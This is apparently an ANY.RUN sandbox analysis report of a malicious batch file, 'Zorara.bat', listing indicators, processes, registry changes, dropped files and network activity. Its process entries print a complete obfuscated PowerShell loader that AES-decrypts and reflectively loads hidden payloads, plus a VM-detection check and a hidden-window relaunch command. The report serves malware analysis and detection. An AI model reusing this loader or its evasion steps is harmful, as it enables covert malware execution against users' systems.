File name:

Zorara.bat

Full analysis: https://app.any.run/tasks/8e808f89-329a-449a-a8d3-67d4f8d63206
Verdict: Malicious activity
Analysis date: September 29, 2024, 13:17:26
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with very long lines (5301), with CRLF line terminators
MD5:

17B570A066BA88619EF905131B559ECC

SHA1:

CE3440420DD11CC75ADD03BA905B92EDCF281D1A

SHA256:

A7FBED6192500F710458888C61CB3477A32B9988785001CF36CFB089E968EB55

SSDEEP:

49152:nK8NMkb0IMUx4p5SMfxul5QW63x7B94O/EEUnaqpMKPrZtMIMIGd48KrXV:f

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 5032)
      • powershell.exe (PID: 4560)
      • powershell.exe (PID: 2352)
      • powershell.exe (PID: 7052)

    • Known privilege escalation attack

      • dllhost.exe (PID: 5184)

  • SUSPICIOUS

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 3104)
      • cmd.exe (PID: 5436)
      • cmd.exe (PID: 6524)

    • Cryptography encrypted command line is found

      • cmd.exe (PID: 2100)
      • cmd.exe (PID: 5832)
      • cmd.exe (PID: 2468)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 3104)
      • dllhost.exe (PID: 5184)
      • cmd.exe (PID: 5436)
      • powershell.exe (PID: 4560)
      • cmd.exe (PID: 1984)
      • powershell.exe (PID: 2352)
      • cmd.exe (PID: 6524)

    • Uses WMIC.EXE to obtain physical disk drive information

      • cmd.exe (PID: 3104)
      • cmd.exe (PID: 5436)
      • cmd.exe (PID: 6524)

    • Executing commands from a ".bat" file

      • cmd.exe (PID: 3104)
      • dllhost.exe (PID: 5184)
      • cmd.exe (PID: 5436)
      • powershell.exe (PID: 4560)
      • cmd.exe (PID: 1984)
      • cmd.exe (PID: 6524)
      • powershell.exe (PID: 2352)

    • Application launched itself

      • cmd.exe (PID: 3104)
      • cmd.exe (PID: 5436)
      • cmd.exe (PID: 1984)
      • cmd.exe (PID: 6524)
      • powershell.exe (PID: 3852)
      • powershell.exe (PID: 2128)
      • powershell.exe (PID: 6284)
      • powershell.exe (PID: 6548)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3104)
      • cmd.exe (PID: 5436)
      • cmd.exe (PID: 1984)
      • powershell.exe (PID: 3852)
      • powershell.exe (PID: 2128)
      • powershell.exe (PID: 6284)
      • powershell.exe (PID: 6548)
      • cmd.exe (PID: 6524)
      • powershell.exe (PID: 7052)

    • Executes application which crashes

      • powershell.exe (PID: 5056)
      • powershell.exe (PID: 7064)
      • powershell.exe (PID: 3104)
      • powershell.exe (PID: 4344)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 5388)

    • Connects to unusual port

      • powershell.exe (PID: 7052)

  • INFO

    • Manual execution by a user

      • cmd.exe (PID: 3104)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 3032)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.bib/bibtex/txt | BibTeX references (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
168
Monitored processes
42
Malicious processes
7
Suspicious processes
8

Behavior graph

Click at the process to see the details
start notepad.exe no specs cmd.exe no specs conhost.exe no specs wmic.exe no specs findstr.exe no specs cmd.exe no specs powershell.exe no specs CMSTPLUA cmd.exe no specs conhost.exe no specs wmic.exe no specs findstr.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs conhost.exe no specs wmic.exe no specs findstr.exe no specs cmd.exe no specs powershell.exe schtasks.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe werfault.exe powershell.exe no specs conhost.exe no specs powershell.exe werfault.exe powershell.exe no specs conhost.exe no specs powershell.exe werfault.exe powershell.exe no specs conhost.exe no specs powershell.exe werfault.exe

Process information

PID
CMD
Path
Indicators
Parent process
1116\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1984"C:\Windows\System32\cmd.exe" /C echo Start-Process -FilePath 'C:\WINDOWS\$rbx-onimai2\$rbx-CO2.bat' -WindowStyle Hidden | powershell.exe -WindowStyle HiddenC:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
2100cmd.exe /c echo function qDuUY($iUiiy){ $MNdTv=[System.Security.Cryptography.Aes]::Create(); $MNdTv.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MNdTv.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MNdTv.Key=[System.Convert]::FromBase64String('7SRnvVTs+kaj34UyXODC8YxER9K0IoXcmtsW6WtNNb4='); $MNdTv.IV=[System.Convert]::FromBase64String('WKbHx3EziRrQEAATalVC/w=='); $WHnYf=$MNdTv.CreateDecryptor(); $tCxHO=$WHnYf.TransformFinalBlock($iUiiy, 0, $iUiiy.Length); $WHnYf.Dispose(); $MNdTv.Dispose(); $tCxHO;}function uiHOC($iUiiy){ Invoke-Expression '$Rxkvo=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$iUiiy);'.Replace('blck', ''); Invoke-Expression '$FRQVV=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$PignR=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($Rxkvo, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $PignR.CopyTo($FRQVV); $PignR.Dispose(); $Rxkvo.Dispose(); $FRQVV.Dispose(); $FRQVV.ToArray();}function SOXzZ($iUiiy,$QtRyf){ Invoke-Expression '$sQzny=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$iUiiy);'.Replace('blck', ''); Invoke-Expression '$OwpDH=$sQzny.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$OwpDH.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $QtRyf)blck;'.Replace('blck', '');}$apGLW = 'C:\Users\admin\Desktop\.bat';$host.UI.RawUI.WindowTitle = $apGLW;$QMTWu=[System.IO.File]::ReadAllText($apGLW).Split([Environment]::NewLine);foreach ($ozXqu in $QMTWu) { if ($ozXqu.StartsWith(':: ')) { $kbGWL=$ozXqu.Substring(3); break; }}$hdIsN=[string[]]$kbGWL.Split('\');Invoke-Expression '$skLbV=uiHOC (qDuUY (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($hdIsN[0])));'.Replace('blck', '');Invoke-Expression '$gsJyc=uiHOC (qDuUY (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($hdIsN[1])));'.Replace('blck', '');SOXzZ $skLbV (,[string[]] (''));SOXzZ $gsJyc (,[string[]] ('')); C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2128"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
4294967295
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
2228\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2352powershell.exe -WindowStyle HiddenC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
2464wmic diskdrive get Model C:\Windows\System32\wbem\WMIC.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2468cmd.exe /c echo function qDuUY($iUiiy){ $MNdTv=[System.Security.Cryptography.Aes]::Create(); $MNdTv.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MNdTv.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MNdTv.Key=[System.Convert]::FromBase64String('7SRnvVTs+kaj34UyXODC8YxER9K0IoXcmtsW6WtNNb4='); $MNdTv.IV=[System.Convert]::FromBase64String('WKbHx3EziRrQEAATalVC/w=='); $WHnYf=$MNdTv.CreateDecryptor(); $tCxHO=$WHnYf.TransformFinalBlock($iUiiy, 0, $iUiiy.Length); $WHnYf.Dispose(); $MNdTv.Dispose(); $tCxHO;}function uiHOC($iUiiy){ Invoke-Expression '$Rxkvo=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$iUiiy);'.Replace('blck', ''); Invoke-Expression '$FRQVV=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$PignR=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($Rxkvo, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $PignR.CopyTo($FRQVV); $PignR.Dispose(); $Rxkvo.Dispose(); $FRQVV.Dispose(); $FRQVV.ToArray();}function SOXzZ($iUiiy,$QtRyf){ Invoke-Expression '$sQzny=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$iUiiy);'.Replace('blck', ''); Invoke-Expression '$OwpDH=$sQzny.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$OwpDH.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $QtRyf)blck;'.Replace('blck', '');}$apGLW = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $apGLW;$QMTWu=[System.IO.File]::ReadAllText($apGLW).Split([Environment]::NewLine);foreach ($ozXqu in $QMTWu) { if ($ozXqu.StartsWith(':: ')) { $kbGWL=$ozXqu.Substring(3); break; }}$hdIsN=[string[]]$kbGWL.Split('\');Invoke-Expression '$skLbV=uiHOC (qDuUY (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($hdIsN[0])));'.Replace('blck', '');Invoke-Expression '$gsJyc=uiHOC (qDuUY (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($hdIsN[1])));'.Replace('blck', '');SOXzZ $skLbV (,[string[]] (''));SOXzZ $gsJyc (,[string[]] ('')); C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2536findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK" C:\Windows\System32\findstr.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (QGREP) Utility
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\findstr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
2936C:\WINDOWS\SysWOW64\WerFault.exe -u -p 4344 -s 28C:\Windows\SysWOW64\WerFault.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
Total events
46 618
Read events
46 569
Write events
37
Delete events
12

Modification events

(PID) Process:(5184) dllhost.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:SlowContextMenuEntries
Value:
6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile
Operation:writeName:WritePermissionsCheck
Value:
1
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\PermissionsCheckTestKey
Operation:delete keyName:(default)
Value:
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\powershell.exe|bdbb2c1d41b249e7
Operation:writeName:ProgramId
Value:
0000f519feec486de87ed73cb92d3cac802400000000
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\powershell.exe|bdbb2c1d41b249e7
Operation:writeName:FileId
Value:
0000bc8d22b16e9ab2045c3acfb8ff1c0ce97bd9936a
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\powershell.exe|bdbb2c1d41b249e7
Operation:writeName:LowerCaseLongPath
Value:
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\powershell.exe|bdbb2c1d41b249e7
Operation:writeName:LongPathHash
Value:
powershell.exe|bdbb2c1d41b249e7
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\powershell.exe|bdbb2c1d41b249e7
Operation:writeName:Name
Value:
powershell.exe
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\powershell.exe|bdbb2c1d41b249e7
Operation:writeName:OriginalFileName
Value:
powershell.exe
(PID) Process:(5136) WerFault.exeKey:\REGISTRY\A\{7b8616e2-cffd-f37f-de09-387f6875c659}\Root\InventoryApplicationFile\powershell.exe|bdbb2c1d41b249e7
Operation:writeName:Publisher
Value:
microsoft corporation
Executable files
0
Suspicious files
2
Text files
20
Unknown types
0

Dropped files

PID
Process
Filename
Type
4560powershell.exeC:\Windows\$rbx-onimai2\$rbx-CO2.bat —
MD5:—
SHA256:—
5136WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_dcd3242e9fa4189184df4216daa4e4c7cdf1959_85207d7d_bd393534-0d5b-4054-a260-8afd97499cca\Report.wer —
MD5:—
SHA256:—
3256WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_dcd3242e9fa4189184df4216daa4e4c7cdf1959_85207d7d_26db83c0-cd14-46e2-9f55-80755b2dfb28\Report.wer —
MD5:—
SHA256:—
6040WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_dcd3242e9fa4189184df4216daa4e4c7cdf1959_85207d7d_62e9cdd3-82e3-405a-89ea-65909d030fef\Report.wer —
MD5:—
SHA256:—
5136WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER820B.tmp.WERInternalMetadata.xmlxml
MD5:12A560504F73D88BA1E90DF5B00976E3
SHA256:BF2BE637FAE1606E956CBB1F3A7C33999038B6C04EC1AC815E1AFE9A87DA3DDD
5032powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactivebinary
MD5:8C57CFE20AF62E958973402E44108F27
SHA256:6D611EB44062F33CCA7C36EBDF578F4F3EBE60DA4E8D1AE07CC434EE41379260
7052powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lb5zhgaq.wa4.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2936WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_dcd3242e9fa4189184df4216daa4e4c7cdf1959_85207d7d_281f1d31-0096-4c08-80d0-e8d8e971a6f2\Report.wer —
MD5:—
SHA256:—
3256WerFault.exeC:\Windows\appcompat\Programs\Amcache.hvebinary
MD5:836A5F3A40DC61D1F72F8A14871E0AAB
SHA256:AB37611B591482CAE98A6EC3A96982716E515147B91CDEAA8E51F534DBE38A72
2352powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yox3bldb.qbn.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
29
DNS requests
9
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
MoUsoCoreWorker.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6588
svchost.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
6588
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6588
svchost.exe
23.52.120.96:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
2120
MoUsoCoreWorker.exe
23.52.120.96:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
6588
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 51.104.136.2
whitelisted
google.com
  • 216.58.206.78
whitelisted
www.microsoft.com
  • 23.52.120.96
whitelisted
watson.events.data.microsoft.com
  • 20.189.173.21
  • 20.42.65.92
  • 13.89.179.12
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Zorara.bat